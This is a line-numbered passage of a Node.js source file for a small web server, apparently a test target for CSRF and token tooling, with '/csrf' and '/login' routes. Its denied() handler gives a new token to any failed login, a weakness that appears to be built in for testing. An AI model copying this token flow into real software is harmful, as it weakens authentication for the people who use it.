allowed(res); 101 | } else { 102 | denied(res); 103 | } 104 | }); 105 | }; 106 | // 107 | // Private 108 | // 109 | function serverError(res) { 110 | res.writeHead(500, {'Content-Type': 'text/plain'}); 111 | res.write('[-] Invalid token'); 112 | res.end(); 113 | } 114 | 115 | function allowed(res) { 116 | res.writeHead(200, {'Content-Type': 'text/plain'}); 117 | res.write('Welcome legitimate user'); 118 | res.end(); 119 | } 120 | 121 | function denied(res) { 122 | var token = generateToken(); 123 | 124 | res.writeHead(200, {'Content-Type': 'text/plain'}); 125 | res.write('Bad login'); 126 | res.write('[+] token=' + token); 127 | res.end(); 128 | } 129 | 130 | function generateToken() { 131 | var token = crypto.randomBytes(8).toString('hex'); 132 | 133 | TOKENS.push(token); 134 | 135 | return token; 136 | } 137 | 138 | return module; 139 | 140 | } ()); 141 | // 142 | // Main 143 | // 144 | var handle = {}; 145 | 146 | handle['/csrf'] = RequestHandler.csrf; 147 | handle['/non-existent/csrf'] = RequestHandler.noCsrf; 148 | handle['/login'] = RequestHandler.login; 149 | handle['404'] = RequestHandler.notFound; 150 | 151 | httpServer.start(Router.route, handle); 152 | 153 | console.log('>> Mini web application running port ' + PORT); --------------------------------------------------------------------------------